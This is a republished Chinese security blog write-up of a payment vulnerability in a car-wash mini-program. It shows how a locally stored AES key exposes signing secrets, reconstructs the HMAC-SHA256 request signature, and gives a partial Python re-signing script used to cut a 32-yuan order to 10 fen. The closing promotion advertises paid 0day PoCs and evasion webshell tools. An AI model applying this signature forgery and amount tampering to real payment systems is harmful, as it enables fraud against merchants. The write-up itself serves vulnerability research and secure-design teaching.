文章总结: 本文详细记录了一次支付系统漏洞挖掘过程,从客户端加密配置分析入手,逆向还原签名算法,发现支付接口存在签名边界失效、业务订单绑定缺失和金额校验漏洞。通过本地脚本重签请求,成功将32元洗车订单在支付阶段篡改为1角支付,验证了完整的支付完整性缺陷。 综合评分: 86 文章分类: 渗透测试,漏洞分析,WEB安全,红队,安全开发
从客户端加密到签名伪造、支付一分钱买下 32 元服务|金额篡改漏洞完整挖掘实录
tangkaixing tangkaixing
渗透安全HackTwo
2026年5月11日 00:01 新加坡
在小说阅读器读本章
去阅读
0x01 简介
这次分析的目标,是一个聚合了洗车、券包等能力的小程序支付链路。最初的切入点并不是“直接看到金额可改”,而是顺着一个更基础的问题往下挖:发往核心支付接口的签名,到底是服务端私有能力,还是客户端本地就能复现?很多时候,业务接口表面上看似“有签名保护”,实战中真正决定漏洞上限的,恰恰是这个签名能力归谁所有。如果签名只能由服务端私钥生成,那么前端即使把金额字段明文提交出来,也不一定能构成真正可利用的逻辑漏洞;但如果签名本身就在客户端本地完成,而且密钥还能被恢复出来,那整个问题的性质就完全变了。本篇文章记录的,就是一次从客户端加密配置入手,逐步恢复本地配置、还原签名算法、伪造合法请求,最后验证到真实业务订单付款阶段可被改价的完整过程。
本文仅用于技术学习与合规交流,严禁非法滥用。因违规使用产生的一切后果,由使用者自行承担,与作者无关。
现在只对常读和星标的公众号才展示大图推送,建议大家把渗透安全HackTwo“设为星标”,否则可能就看不到了啦!****
参考文章:
https://xz.aliyun.com/news/92096https://www.hacktwohub.com/
末尾可领取挖洞资料/加圈子 #渗透安全HackTwo
0x02 正文详情
从可疑接口开始:
在这个小程序里,多个业务最终都会落到统一的支付拉起如下接口:
POST /xxx/xxx/get-wx-payurl
从抓包结果看,这个接口的请求体里直接带了大量高价值字段:
{ "vaMchntNo": "...", "vaTermNo": "...", "totalAmount": 3200, "notifyUrl": "https://.../xxxxxStartWashCar", "mchntOrderId": "...", "subOpenId": "...", "subAppId": "...", "instMid": "xxx", "tradeType": "xxxxxxx", "msgType": "wx.unifiedOrder", "loginToken": "..."}
这类接口第一眼很容易让人怀疑“金额是不是客户端直传”,但这里不能急着下结论。因为只要 Authorization 无法伪造,就算看得到这些参数,也未必能成功构造有效请求。所以,真正的第一步不是直接改金额,而是回答下面这个问题:这个请求的签名能力,到底掌握在谁手里?
逆向入口:签名函数并不在服务端
对源码做静态分析后,支付请求最终走到一个统一请求封装模块。继续往里追,可以看到请求头中的 Authorization 并不是服务端返回,而是客户端本地调用签名函数生成的:
Authorization = getAuthorization(body, appId, appKey, "post")
这已经说明一个很关键的事实:
-
签名不是“服务器下发一次性签名”
-
也不是“客户端拿 token 去换临时签名”
-
而是客户端本地直接计算
这时候再问两个问题:
-
appId从哪里来?
-
appKey从哪里来?
如果这两个值来自安全硬件、服务端临时下发、或运行时不可导出存储,那么问题还没完全成立;但如果这两个值只是本地配置,那么整个签名保护就会被直接击穿。
配置不明文,但仍然在客户端本地
源码里没有直接把配置明文摆出来,而是用了一个典型的“本地密文配置 + 本地固定密钥解密”的做法。
对应逻辑大致可以抽象成这样:
const encryptedConfig = CONFIG.dataconst aesKey = "固定字符串"const plain = AES_ECB_Decrypt(encryptedConfig, aesKey)const runtimeConfig = JSON.parse(plain)
这一步的意义很重要。它说明配置虽然不是明文写死,但依然满足两个条件:
-
密文在客户端本地
-
解密密钥也在客户端本地
因此只要拿到小程序包,就能离线恢复出运行时配置。
恢复后的配置中,至少包含了这些关键字段:
-
appId -
appKey -
wxAppId -
若干业务回调地址
出于安全和脱敏考虑,这里不在文章中展示完整值,只保留形态说明:
appId = 8a81...0990appKey = b8a3...30e5
到这里为止,签名能力已经从“理论可能”推进到了“可被客户端离线恢复”。
签名算法还原:不是障眼法,而是标准 HMAC
继续分析签名函数后,可以把它抽象成下面这套流程:
-
将请求体序列化为紧凑 JSON
-
对请求体做
SHA256 -
拼接:
appId + timestamp + nonce + bodyHash
- 对拼接结果做:
HMAC-SHA256(appKey, raw)
- 最终再进行 Base64 编码
伪代码如下:
body_json = json.dumps(body, separators=(",", ":"))body_hash = sha256(body_json).hexdigest()raw = appId + timestamp + nonce + body_hashsignature = base64(hmac_sha256(appKey, raw))
这一点非常关键,因为它把漏洞链从“看见字段”变成了“能够稳定重签并发包”。
也就是说,从这一刻开始,攻击者已经不再依赖官方小程序,也不再依赖服务端额外发放签名。
直接开始复现
编写用脚本重签,再回填到 Repeater。
使用脚本:sign_get_wx_payurl.py
先把修改后的完整 JSON 保存成 body.json:
#部分代码参考def canonical_json(data: Dict[str, Any]) -> str: return json.dumps(data, ensure_ascii=False, separators=(",", ":"))def now_timestamp() -> str: return dt.datetime.now().strftime("%Y%m%d%H%M%S")def random_nonce() -> str: return str(random.randint(10**9, 10**10 - 1))def build_signature(body: Dict[str, Any], timestamp: str, nonce: str) -> str: body_json = canonical_json(body) body_hash = hashlib.sha256(body_json.encode("utf-8")).hexdigest() raw = f"{APP_ID}{timestamp}{nonce}{body_hash}".encode("utf-8") return base64.b64encode(hmac.new(APP_KEY.encode("utf-8"), raw, hashlib.sha256).digest()).decode("ascii")python sign_get_wx_payurl.py --body-file body.json
脚本会输出:
-
Authorization -
Content-Length -
标准化后的
Body
把这三项替换回 Burp Repeater 再发包即可。
直接篡改金额:真实 32 元业务订单,付款阶段改成 1 角
第一步:先创建真实业务订单
选择低风险业务链路,重新调用下单接口生成一笔真实订单。这里以洗车订单为例,业务原始金额是:32 元
下单接口成功返回:
-
outer_order_number -
payAmount = 32 -
对应业务回调地址
这说明前置订单是真实存在的,而不是伪造构造物。
第二步:在付款阶段改价
接着调用 get-wx-payurl,但不按正常逻辑提交 3200 分,而是手工改成:
totalAmount = 10结果服务端仍然返回:- `respCode = 0000`- `totalAmount = 10`- 新的 `miniPayRequest`
这个漏洞的原理
这个问题的危险性,不在于它只是一处“前端把金额放进请求体”,而在于它同时满足了三层条件:
签名边界失效
不需要官方客户端,不需要服务端私钥,也不需要中间人条件,就可以本地生成合法 Authorization。
业务订单绑定失效
支付接口没有强制要求 mchntOrderId 必须来自某个已校验完成的前置订单。
金额绑定失效
即便是已经创建好的真实业务订单,付款阶段仍然可以把金额改成攻击者指定值。这三点叠加后,漏洞已经不是“支付风险”而是完整的支付完整性缺陷。
0x03 总结
这次挖掘最值得记录的,不只是最后把金额改成了 1,而是整个问题是怎么一步一步被确认的。一开始看到的是支付接口里有明文金额字段,但这还不能直接等价于可利用漏洞;漏洞危害关键,在于先确认签名是客户端本地可复现的,再确认新订单号可以独立生成支付会话,最后再把验证推进到真实业务订单付款阶段。这也是我一直以来的一个挖掘思路:不要看到“前端直传金额”就急着报漏洞,先看签名边界,再看订单绑定,再看金额绑定,最后再决定漏洞定性。最后愿各位师傅在后续挖洞之路中,精准定位漏洞、高效挖掘,天天出高危、次次有收获,挖洞顺利、不踩坑、多拿奖励,共同提升支付业务安全测试能力!🔥喜欢这类文章或挖掘SRC技巧文章师傅可以点赞转发支持一下谢谢!
内部星球VIP介绍V1.4(更多未公开挖洞技术欢迎加入星球)
如果你想学习更多另类渗透SRC挖洞技术/攻防/免杀/应急溯源/赏金赚取/工作内推,欢迎加入我们内部星球可获得内部工具字典和享受内部资源/内部群🔥
🚀1.每周更新1day/0day漏洞刷分上分,目前已更新至9394+;
🧰2.包含网上的各种付费工具/各种Burp漏洞检测插件/fuzz字典等等;
3.Fofa/Hunter/Ctfshow/360Quake/Shadon/零零信安/Zoomeye各种账号VIP会员共享等等;
🎥5.最新SRC挖洞文库/红队/代审/免杀/逆向视频资源等等;
🧪6.内部自动化漏扫赚赏金捡洞工具,免杀CS/Webshell工具等等;
💡7.漏洞报告文库、共享SRC漏洞报告学习挖洞技巧;
🎯6.最新0Day1Day漏洞POC/EXP分享地址(同步更新);
https://t.zsxq.com/jVcxV(全网最新最完整的漏洞库)
🔥7.详情直接点击下方链接进入了解,后台回复” 星球 “获取优惠先到先得!后续资源会更丰富在加入还是低价!(即将涨价)以上仅介绍部分内容还没完!点击下方地址全面了解👇🏻
👉点击了解加入–>>2026内部VIP星球福利介绍V1.5版本-1day/0day漏洞库及内部资源更新
结尾
免责声明
获取方法
回复“app” 获取 app渗透和app抓包教程
回复“渗透字典” 获取 一些字典已重新划分处理(需要内部专属fuzz字典可加入星球获取,内部字典多年积累整理好用!持续整理中!)
回复“书籍” 获取 网络安全相关经典书籍电子版pdf
最后必看
文章中的案例或工具仅面向合法授权的企业安全建设行为,如您需要测试内容的可用性,请自行搭建靶机环境,勿用于非法行为。如用于其他用途,由使用者承担全部法律及连带责任,与作者和本公众号无关。本项目所有收录的poc均为漏洞的理论判断,不存在漏洞利用过程,不会对目标发起真实攻击和漏洞利用。文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用。如您在使用本工具或阅读文章的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。本工具或文章或来源于网络,若有侵权请联系作者删除,请在24小时内删除,请勿用于商业行为,自行查验是否具有后门,切勿相信软件内的广告!
往期推荐
1.内部VIP知识星球福利介绍V1.5版本0day推送
2.最新Nessus2026.2.9版本下载
3.最新BurpSuite2026.1.1专业版下载
4.最新xray1.9.11高级版下载Windows/Linux
5.最新HCL AppScan_Standard_10.9.1下载
渗透安全HackTwo
微信号:关注公众号获取
后台回复星球加入:知识星球
扫码关注 了解更多
上一篇文章:Nacos配置文件攻防思路总结|揭秘Nacos被低估的攻击面
喜欢的师傅可以点赞转发支持一下
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:渗透安全HackTwo tangkaixing tangkaixing《从客户端加密到签名伪造、支付一分钱买下 32 元服务|金额篡改漏洞完整挖掘实录》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论